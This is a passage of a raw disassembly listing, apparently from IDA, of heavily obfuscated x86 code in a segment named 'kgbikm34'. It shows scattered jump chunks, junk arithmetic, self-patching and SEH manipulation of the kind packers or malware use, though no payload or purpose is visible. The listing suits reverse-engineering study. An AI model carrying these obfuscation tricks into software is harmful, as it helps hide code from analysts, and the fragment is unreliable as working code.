; END OF FUNCTION CHUNK	FOR sub_440AC0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B400

loc_43E727:				; CODE XREF: sub_43B400+2D79j
		call	sub_440FF4
		mov	ds:dword_445F74, eax
; END OF FUNCTION CHUNK	FOR sub_43B400
; START	OF FUNCTION CHUNK FOR sub_44B20C

loc_43E731:				; CODE XREF: sub_44B20C-A439j
					; sub_43B400+D66Bj ...
		mov	esp, ebp
		pop	ebp
		push	offset loc_447F41
		jmp	loc_442129
; END OF FUNCTION CHUNK	FOR sub_44B20C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4383A3

loc_43E73E:				; CODE XREF: sub_4383A3+11j
		sub	eax, 0D7A69B1Ch
		or	eax, 0ACAA8FB8h
		add	eax, 8B1B256Ah
		push	edx
		push	4F2E585Dh
		pop	edx
		jmp	loc_4415A7
; END OF FUNCTION CHUNK	FOR sub_4383A3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43ACD5

loc_43E75C:				; CODE XREF: sub_43ACD5:loc_438A45j
		xchg	ecx, [esp+4+var_4]
		mov	ebp, esp
		push	esi
		mov	esi, ecx
		xchg	esi, [esp+8+var_8]
		jmp	loc_4467E0
; END OF FUNCTION CHUNK	FOR sub_43ACD5
; ---------------------------------------------------------------------------

loc_43E76C:				; CODE XREF: kgbikm34:0044DCC1j
		xchg	edx, [ecx]
		mov	edi, 10E03876h
		add	esi, ecx
		ja	loc_443519
; START	OF FUNCTION CHUNK FOR sub_43D494

loc_43E77B:				; CODE XREF: sub_43D494:loc_43DF4Fj
		jmp	loc_437890
; END OF FUNCTION CHUNK	FOR sub_43D494
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_171. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_43E781:				; CODE XREF: kgbikm34:004433D3j
		jmp	nullsub_6
; ---------------------------------------------------------------------------
		jno	loc_43E407
		jmp	sub_43CFA5
; ---------------------------------------------------------------------------

loc_43E791:				; CODE XREF: kgbikm34:0043F29Ej
		mov	[ecx], eax
		pop	ecx
		retn
; ---------------------------------------------------------------------------

loc_43E795:				; CODE XREF: kgbikm34:0043C505j
		jmp	sub_43EB8F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449893

loc_43E79A:				; CODE XREF: sub_449893+4j
		push	edx
		mov	edx, ebp
		xchg	edx, [esp+4+var_4]
		mov	ebp, esp
		push	ecx
		jmp	loc_44291E
; END OF FUNCTION CHUNK	FOR sub_449893
; ---------------------------------------------------------------------------
		not	ebp
		jmp	sub_44B714
; ---------------------------------------------------------------------------

loc_43E7AF:				; CODE XREF: kgbikm34:00447676j
		jno	loc_43C43F
		add	eax, 0D62638CAh
		jmp	sub_4425CD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43ACD5

loc_43E7C0:				; CODE XREF: sub_43ACD5+10B1Dj
		jz	loc_44522C

loc_43E7C6:				; CODE XREF: sub_440BF9+A929j
		jmp	loc_4457AB
; END OF FUNCTION CHUNK	FOR sub_43ACD5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439587

loc_43E7CB:				; CODE XREF: sub_439587+1BB9j
		jmp	loc_446022
; END OF FUNCTION CHUNK	FOR sub_439587
; ---------------------------------------------------------------------------
		cdq
		sbb	edi, 54214263h
		jmp	loc_445226
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43AB97

loc_43E7DC:				; CODE XREF: sub_43AB97+Fj
		ror	eax, 1Bh
		call	sub_4390CF

loc_43E7E4:				; CODE XREF: kgbikm34:00442D2Dj
		jmp	loc_442897
; END OF FUNCTION CHUNK	FOR sub_43AB97
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4395BB

loc_43E7E9:				; CODE XREF: sub_4395BB+Dj
		jmp	loc_44BFB0
; END OF FUNCTION CHUNK	FOR sub_4395BB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DBBA

loc_43E7EE:				; CODE XREF: sub_43DBBA+E250j
		push	73103929h
		add	esi, eax
		sub	ebx, edi
		jmp	loc_44853C
; END OF FUNCTION CHUNK	FOR sub_43DBBA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DEE7

loc_43E7FC:				; CODE XREF: sub_43DEE7+10j
		mov	ebx, [eax+4]
		mov	eax, [eax]
		jnz	loc_43DEEE
		retn
; END OF FUNCTION CHUNK	FOR sub_43DEE7
; ---------------------------------------------------------------------------

loc_43E808:				; CODE XREF: kgbikm34:004497CAj
		jmp	loc_43AD2A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4471A4

loc_43E80D:				; CODE XREF: sub_4471A4-8F37j
		jmp	loc_43B820
; END OF FUNCTION CHUNK	FOR sub_4471A4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448291

loc_43E812:				; CODE XREF: sub_448291-D2EEj
		jmp	loc_446A37
; END OF FUNCTION CHUNK	FOR sub_448291
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DEE7

loc_43E817:				; CODE XREF: sub_43DEE7:loc_43DEEEj
		cmp	dword ptr [eax], 0FFFFFFFFh
		jmp	loc_44DBE7
; END OF FUNCTION CHUNK	FOR sub_43DEE7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4471D6

loc_43E81F:				; CODE XREF: sub_4471D6:loc_44C908j
		test	edi, 1000h
		jmp	loc_43EAE9
; END OF FUNCTION CHUNK	FOR sub_4471D6

; =============== S U B	R O U T	I N E =======================================



sub_43E82A	proc near		; CODE XREF: kgbikm34:004461B0j
					; sub_440443:loc_446D0Dp

arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 00448285 SIZE 00000005 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		add	esi, 7D447DBAh
		popf
		xchg	esi, [esp-8+arg_4]
		jmp	loc_448285
sub_43E82A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_43E83D	proc near		; CODE XREF: kgbikm34:0043B2EDp
					; kgbikm34:00446EF2j

; FUNCTION CHUNK AT 0044ACD5 SIZE 00000005 BYTES

		xchg	esi, [esp+0]
		pop	esi
		mov	[edi], eax
		pop	edi
		lea	eax, sub_44DC8B
		mov	byte ptr [eax],	0C3h
		jmp	loc_44ACD5
sub_43E83D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A179

loc_43E852:				; CODE XREF: sub_43A179+4j
		xchg	ebx, [esp-4+arg_0]
		mov	edx, ebx
		jmp	loc_44AF38
; END OF FUNCTION CHUNK	FOR sub_43A179
; ---------------------------------------------------------------------------
		popf
		mov	esi, ebx
		jmp	sub_44CDD6
; ---------------------------------------------------------------------------
		jg	loc_43BFF9
		jmp	loc_443DF9
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_42. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442340

loc_43E870:				; CODE XREF: sub_442340+98FBj
		jmp	loc_43B488
; END OF FUNCTION CHUNK	FOR sub_442340
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F3F8

loc_43E875:				; CODE XREF: sub_43F3F8+Fj
		jmp	loc_440E11
; END OF FUNCTION CHUNK	FOR sub_43F3F8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A9D8

loc_43E87A:				; CODE XREF: sub_44A9D8-125EBj
		xchg	edi, ecx
		test	ecx, 0B100AB09h
		jmp	loc_44CC46
; END OF FUNCTION CHUNK	FOR sub_44A9D8
; ---------------------------------------------------------------------------

loc_43E887:				; CODE XREF: kgbikm34:004478F3j
		and	esi, 9447B5FDh
		ja	loc_44514C

loc_43E893:				; CODE XREF: kgbikm34:loc_4478D8j
		rol	edx, 1Ah
		jnb	loc_44999A

loc_43E89C:				; DATA XREF: kgbikm34:00446242o
		mov	eax, [ebp-1Ch]
		call	sub_440C35

loc_43E8A4:				; CODE XREF: kgbikm34:004437CDj
		jmp	locret_4458B7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439003

loc_43E8A9:				; CODE XREF: sub_439003+D7Cj
		jmp	loc_43E91B
; END OF FUNCTION CHUNK	FOR sub_439003
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443643

loc_43E8AE:				; CODE XREF: sub_443643+287Cj
		jl	loc_439406
		mov	edi, edx
		and	ebx, 204F5288h
		test	ecx, ebx
		jmp	loc_446750
; END OF FUNCTION CHUNK	FOR sub_443643
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_30. PRESS	KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_43E8C4	proc near		; DATA XREF: sub_44D599-DF6Co

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0044707B SIZE 0000000B BYTES

		push	1BDF6357h
		xchg	eax, [esp+4+var_4]
		mov	ebx, eax
		pop	eax
		sub	ebx, 356D5BC3h
		jmp	loc_44707B
sub_43E8C4	endp


; =============== S U B	R O U T	I N E =======================================



sub_43E8DA	proc near		; CODE XREF: sub_4429A6-183Bp
					; kgbikm34:00443C43j

; FUNCTION CHUNK AT 0043AC57 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043B275 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043BCE0 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0043CD54 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0043F440 SIZE 0000000A BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		push	ebp
		mov	ebp, eax
		xchg	ebp, [esp+0]
		call	sub_43E4C0
		or	eax, eax
		jmp	loc_43AC57
sub_43E8DA	endp

; ---------------------------------------------------------------------------

loc_43E8F0:				; CODE XREF: kgbikm34:loc_44241Ej
		push	ecx
		push	eax
		pop	ecx
		push	offset sub_43892A
		jmp	loc_44984A
; ---------------------------------------------------------------------------

loc_43E8FD:				; DATA XREF: sub_43E016+Do
		xchg	ebx, [esp]
		mov	edi, ebx
		pop	ebx
		add	edi, 6B70E924h
		jnz	loc_44201D
; START	OF FUNCTION CHUNK FOR sub_449144

loc_43E90F:				; CODE XREF: sub_449144+13j
		jmp	nullsub_319
; END OF FUNCTION CHUNK	FOR sub_449144
; ---------------------------------------------------------------------------
		add	eax, ebx
		jmp	loc_442017
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439003

loc_43E91B:				; CODE XREF: sub_439003:loc_43E8A9j
		xchg	ebp, [esp+0]
		mov	edi, ebp
		pop	ebp
		lea	eax, sub_43C190
		jmp	loc_44DE12
; END OF FUNCTION CHUNK	FOR sub_439003
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4446F8

loc_43E92C:				; CODE XREF: sub_4446F8+7D76j
		mov	eax, [ebp-8]
		push	esi
		push	eax
		pop	esi
		xchg	esi, [esp+8+var_8]
		jmp	loc_43E359
; END OF FUNCTION CHUNK	FOR sub_4446F8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DF5B

loc_43E93A:				; CODE XREF: sub_43DF5B:loc_4495CFj
		jz	loc_43AE6F
		jmp	loc_43B8D2
; END OF FUNCTION CHUNK	FOR sub_43DF5B
; ---------------------------------------------------------------------------

loc_43E945:				; CODE XREF: kgbikm34:00438E35j
		xchg	esi, [esp]
		mov	edx, esi

loc_43E94A:				; CODE XREF: kgbikm34:0043E40Cj
		xchg	ebp, [esp]
		mov	esi, ebp
		pop	ebp
		mov	eax, [esp]
		jmp	loc_44264C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444A5E

loc_43E958:				; CODE XREF: sub_444A5E+6398j
		shl	ebx, 0Dh
; END OF FUNCTION CHUNK	FOR sub_444A5E

; =============== S U B	R O U T	I N E =======================================



sub_43E95B	proc near		; CODE XREF: kgbikm34:00441A21p
		xchg	esi, [esp+0]
		pop	esi
		call	nullsub_10
		jmp	ds:dword_41E198
sub_43E95B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B6E1

loc_43E96A:				; CODE XREF: sub_44B6E1-13D00j
		jmp	loc_44C3A5
; END OF FUNCTION CHUNK	FOR sub_44B6E1
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_10. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		jmp	loc_4469A2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D4E9

loc_43E975:				; CODE XREF: sub_43D4E9-1319j
		jnz	loc_4426CB
		ror	esi, 7
		jnz	loc_43A782
		jmp	loc_4426CB
; END OF FUNCTION CHUNK	FOR sub_43D4E9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C267

loc_43E989:				; CODE XREF: sub_43C267:loc_43D9AEj
		xchg	eax, [esp+0]
		jmp	loc_43733E
; END OF FUNCTION CHUNK	FOR sub_43C267
; ---------------------------------------------------------------------------
		push	esi
		cmp	edx, 9125F200h
		jmp	loc_440C2F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43ACD5

loc_43E99D:				; CODE XREF: sub_43ACD5-2848j
		pop	eax
		and	eax, 32C574D2h
		test	eax, 20000000h
		jmp	loc_447869
; END OF FUNCTION CHUNK	FOR sub_43ACD5
; ---------------------------------------------------------------------------

loc_43E9AF:				; CODE XREF: kgbikm34:0043B4ACj
		jbe	loc_44BA57
; START	OF FUNCTION CHUNK FOR sub_4394EB

loc_43E9B5:				; CODE XREF: sub_4394EB:loc_44AAA8j
		rol	eax, 11h
		sub	eax, 151E2423h
		cmp	eax, 4799DD0Fh
		jmp	loc_447A4E
; END OF FUNCTION CHUNK	FOR sub_4394EB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440443

loc_43E9C9:				; CODE XREF: sub_440443+198Cj
		sub	esi, 884A1A77h
		and	esi, 9BC2906Dh
		jnz	loc_446D0D

loc_43E9DB:				; CODE XREF: kgbikm34:00440E90j
		jmp	loc_437586
; END OF FUNCTION CHUNK	FOR sub_440443
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440834

loc_43E9E0:				; CODE XREF: sub_440834-9F0j
		jmp	nullsub_302
; END OF FUNCTION CHUNK	FOR sub_440834
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F039

loc_43E9E5:				; CODE XREF: sub_43F039-75ABj
		jmp	loc_43AA59
; END OF FUNCTION CHUNK	FOR sub_43F039
; ---------------------------------------------------------------------------
		adc	eax, 2DD6B360h
		jmp	loc_4376E2
; ---------------------------------------------------------------------------
		add	ebx, 0ED21D27Ch
		jmp	loc_449C3C
; ---------------------------------------------------------------------------

loc_43EA00:				; CODE XREF: kgbikm34:004493D1j
		xchg	ebp, [esp]
		mov	ebx, ebp

loc_43EA05:				; CODE XREF: kgbikm34:0043BB74j
		pop	ebp
		and	ebx, 0F63334A6h
		cmp	ebx, 142FF701h
		jmp	loc_444D57
; ---------------------------------------------------------------------------

loc_43EA17:				; CODE XREF: kgbikm34:loc_445F01j
					; kgbikm34:00445F10j
		or	esi, 11D7F2C1h
		add	esi, 4A4CA172h
		xchg	esi, [esp]
		jmp	sub_44BA42
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4407E7

loc_43EA2B:				; CODE XREF: sub_4407E7:loc_446407j
		mov	[edx], eax
		pop	edx
		cmp	dword ptr [ebp-4], 0
		jz	loc_43D734
		jmp	loc_4417EB
; END OF FUNCTION CHUNK	FOR sub_4407E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4446A9

loc_43EA3D:				; CODE XREF: sub_4446A9+7j
		pushf
		push	0CA416002h
		pop	eax
		rol	eax, 17h
		xor	eax, 661FEA1Eh
		jmp	loc_445346
; END OF FUNCTION CHUNK	FOR sub_4446A9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D599

loc_43EA52:				; CODE XREF: sub_44D599-A482j
		xchg	edx, [esp+0]
		jmp	loc_4404A4
; END OF FUNCTION CHUNK	FOR sub_44D599
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440141

loc_43EA5A:				; CODE XREF: sub_440141-69F8j
					; kgbikm34:00440678j
		rol	eax, 7
		and	eax, 2CCC5F0h
		add	eax, 1ABFB711h
		call	sub_4400C7
		jmp	loc_44B8C5
; END OF FUNCTION CHUNK	FOR sub_440141
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4414DB

loc_43EA73:				; CODE XREF: sub_4414DB+Dj
		jz	loc_43EA80
		mov	eax, [eax]
		jmp	loc_44221A
; ---------------------------------------------------------------------------

loc_43EA80:				; CODE XREF: sub_4414DB:loc_43EA73j
					; sub_4414DB+4j ...
		xor	ebx, ebx

loc_43EA82:				; CODE XREF: sub_439609+F4FCj
		mov	eax, ebx
		pop	ecx
		pop	ebx
		retn
; END OF FUNCTION CHUNK	FOR sub_4414DB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B400

loc_43EA87:				; CODE XREF: sub_43B400+2D69j
					; sub_43B400+D651j
		mov	eax, ds:dword_445F74
		jmp	loc_442430
; END OF FUNCTION CHUNK	FOR sub_43B400
; ---------------------------------------------------------------------------

loc_43EA91:				; CODE XREF: kgbikm34:0044D98Cj
		jb	loc_442147

; =============== S U B	R O U T	I N E =======================================



sub_43EA97	proc near		; CODE XREF: sub_43E4C0+34C9p

; FUNCTION CHUNK AT 00442C69 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 00445C2A SIZE 0000000D BYTES
; FUNCTION CHUNK AT 004464DC SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00446CC0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00448932 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00449B12 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00449FE7 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0044D3B3 SIZE 0000000B BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		add	esi, 8A23B618h
		mov	[esi], eax
		call	sub_442F09

loc_43EAA8:				; CODE XREF: kgbikm34:0044B7DFj
		jmp	loc_449B12
sub_43EA97	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_43EAAD	proc near		; CODE XREF: kgbikm34:00442D5Ej
					; kgbikm34:loc_44BF3Bp

; FUNCTION CHUNK AT 00443C67 SIZE 00000013 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		pop	large dword ptr	fs:0
		add	esp, 4
		jmp	loc_443C67
sub_43EAAD	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447B31

loc_43EAC0:				; CODE XREF: sub_447B31-4139j
					; sub_447B31:loc_4483D9j
		mov	eax, [ebp+var_4]
		cmp	byte ptr [eax],	0F1h

loc_43EAC6:				; CODE XREF: kgbikm34:0043B393j
		jnz	loc_44BA3F
		jmp	loc_439F5C
; END OF FUNCTION CHUNK	FOR sub_447B31
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440BF9

loc_43EAD1:				; CODE XREF: sub_440BF9+12j
		push	offset loc_43989C
		jmp	loc_443E2F
; END OF FUNCTION CHUNK	FOR sub_440BF9
; ---------------------------------------------------------------------------

loc_43EADB:				; DATA XREF: sub_4394EB+9C3Fo
		rol	eax, 19h
		push	offset sub_448DA8
		jmp	locret_4373C9
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_354. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4471D6

loc_43EAE9:				; CODE XREF: sub_4471D6-89B1j
		jmp	loc_438A13
; END OF FUNCTION CHUNK	FOR sub_4471D6

; =============== S U B	R O U T	I N E =======================================



sub_43EAEE	proc near		; CODE XREF: sub_449D78+29A4p
					; kgbikm34:0044D05Bj

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00437012 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0043774A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00439B5F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043AA92 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0043B5C9 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0043B756 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0043B9DA SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0043CEB9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043D1FD SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043E199 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043E2C6 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0043E402 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00440F35 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0044252C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044296A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00442A60 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044307F SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00443242 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00445884 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004461EF SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00446A01 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00447996 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00448591 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044A68A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044C114 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0044C7C8 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0044D18D SIZE 00000005 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		or	eax, eax
		jmp	loc_439B5F
sub_43EAEE	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BF6F

loc_43EAF9:				; CODE XREF: sub_43BF6Fj
		push	68ACAF6Fh
		pop	edx
		add	edx, 0D7B2FE92h
		rol	edx, 1Ch
		jmp	loc_43FFA6
; END OF FUNCTION CHUNK	FOR sub_43BF6F

; =============== S U B	R O U T	I N E =======================================



sub_43EB0D	proc near		; DATA XREF: sub_4458AD-C9D5o

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004400B1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044D4E8 SIZE 00000014 BYTES

		push	esi
		push	8FCD0DE3h
		pop	esi
		rol	esi, 13h
		jmp	loc_44D4E8
sub_43EB0D	endp

; ---------------------------------------------------------------------------
		sub	ebx, 76AFBAB5h
		jmp	sub_44CABC
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_180. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445088

loc_43EB28:				; CODE XREF: sub_445088+14j
		jmp	nullsub_345
; END OF FUNCTION CHUNK	FOR sub_445088

; =============== S U B	R O U T	I N E =======================================



sub_43EB2D	proc near		; DATA XREF: kgbikm34:0044DDABo
		add	eax, [ebp-4]
		call	sub_43B051
		push	offset sub_44DB6E
		jmp	nullsub_377
sub_43EB2D	endp


; =============== S U B	R O U T	I N E =======================================



sub_43EB3F	proc near		; CODE XREF: sub_44772C-D9EBp
					; kgbikm34:00447C7Aj

; FUNCTION CHUNK AT 0043C8F7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043DEBC SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0043DEFC SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0043E67B SIZE 00000023 BYTES
; FUNCTION CHUNK AT 004413DA SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00446640 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0044917E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044E05B SIZE 0000000A BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		xor	edx, 394731B1h
		add	edx, ebp
		add	edx, 0A9B5DF4Ch
		jmp	loc_43DEBC
sub_43EB3F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BF6F

loc_43EB56:				; CODE XREF: sub_43BF6F-1E8Ej
		jb	loc_44A990
		jge	loc_44CFA5
; END OF FUNCTION CHUNK	FOR sub_43BF6F
; START	OF FUNCTION CHUNK FOR sub_449D78

loc_43EB62:				; CODE XREF: sub_449D78:loc_43B280j
		test	eax, 0DBC56DC1h
		jmp	loc_447086
; END OF FUNCTION CHUNK	FOR sub_449D78
; ---------------------------------------------------------------------------
		mov	eax, 0BC7399C0h
		push	offset sub_44E1E7
		jmp	locret_4436AD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E4C0

loc_43EB7C:				; CODE XREF: sub_43E4C0-3074j
		test	edx, 4000000h
		jmp	loc_43BB0B
; END OF FUNCTION CHUNK	FOR sub_43E4C0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B20C

loc_43EB87:				; CODE XREF: sub_44B20C-F4ABj
					; sub_44B20C-D823j ...
		jmp	loc_440DC5
; ---------------------------------------------------------------------------

loc_43EB8C:				; CODE XREF: sub_44B20C-124ABj
					; sub_44B20C:loc_43F343j
		pop	ecx
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_44B20C

; =============== S U B	R O U T	I N E =======================================



sub_43EB8F	proc near		; CODE XREF: sub_439003+Ap
					; sub_447DA2:loc_43E6ADj ...

var_8		= dword	ptr -8

; FUNCTION CHUNK AT 0043919A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043F58A SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0043F8DE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043FA37 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0043FD7D SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00440821 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00441D74 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0044516B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00447AB4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00448B94 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 004493EA SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0044ABD4 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0044C5E6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044CC17 SIZE 0000000B BYTES

		push	ebp
		jmp	loc_447AB4
sub_43EB8F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_43EB95:				; CODE XREF: kgbikm34:00445537j
		jge	loc_43B02A
; START	OF FUNCTION CHUNK FOR sub_439DCD

loc_43EB9B:				; CODE XREF: sub_439DCD+DEA2j
		jmp	nullsub_270
; END OF FUNCTION CHUNK	FOR sub_439DCD
; ---------------------------------------------------------------------------

loc_43EBA0:				; CODE XREF: kgbikm34:0043C322j
		jmp	loc_44079C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A1A6

loc_43EBA5:				; CODE XREF: sub_44A1A6-F6E7j
		jmp	nullsub_20
; END OF FUNCTION CHUNK	FOR sub_44A1A6
; ---------------------------------------------------------------------------
		push	8DB8A021h
		adc	ecx, 7CE73A1Ch
		add	edx, ebp
		test	ecx, 903C273Ch
		jmp	loc_43B024
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_177. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_43EBC3:				; CODE XREF: kgbikm34:0043D384j
		jl	loc_4399B4
		mov	[esi], eax
		jmp	sub_4403D5
; ---------------------------------------------------------------------------

loc_43EBD0:				; CODE XREF: kgbikm34:00445AD9j
		jnz	loc_43AA6F
		jmp	loc_4459E8
; ---------------------------------------------------------------------------

loc_43EBDB:				; CODE XREF: kgbikm34:0043C22Aj
		cmp	ebp, eax
		jmp	loc_44C830
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F4C9

loc_43EBE2:				; CODE XREF: sub_43F4C9:loc_44B181j
		mov	eax, [ebp-104h]
		cmp	byte ptr [eax],	0
		jnz	loc_446214
		jmp	loc_44BD3E
; END OF FUNCTION CHUNK	FOR sub_43F4C9
; ---------------------------------------------------------------------------
		add	edi, 6FE194ADh
		jmp	sub_448CA3
; ---------------------------------------------------------------------------

loc_43EC01:				; CODE XREF: kgbikm34:loc_4400EBj
		jnz	loc_44AA69
		pushf
		sbb	edx, ebp
		jmp	loc_44AA69
; ---------------------------------------------------------------------------

loc_43EC0F:				; DATA XREF: sub_445C47+8o
		call	sub_445A5E
		push	5018116Ah
		pop	eax
		add	eax, ds:4000F9h
		sub	eax, 0C566BDA9h
		or	eax, 5EE55AF8h
		sub	eax, 0B47B5BEDh
		jmp	loc_43BC03
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FF32

loc_43EC37:				; CODE XREF: sub_43FF32:loc_442FCBj
		jz	loc_44BB08
		jmp	loc_442A1A
; END OF FUNCTION CHUNK	FOR sub_43FF32
; ---------------------------------------------------------------------------

loc_43EC42:				; CODE XREF: kgbikm34:00438D31j
		jnz	loc_44C0C6
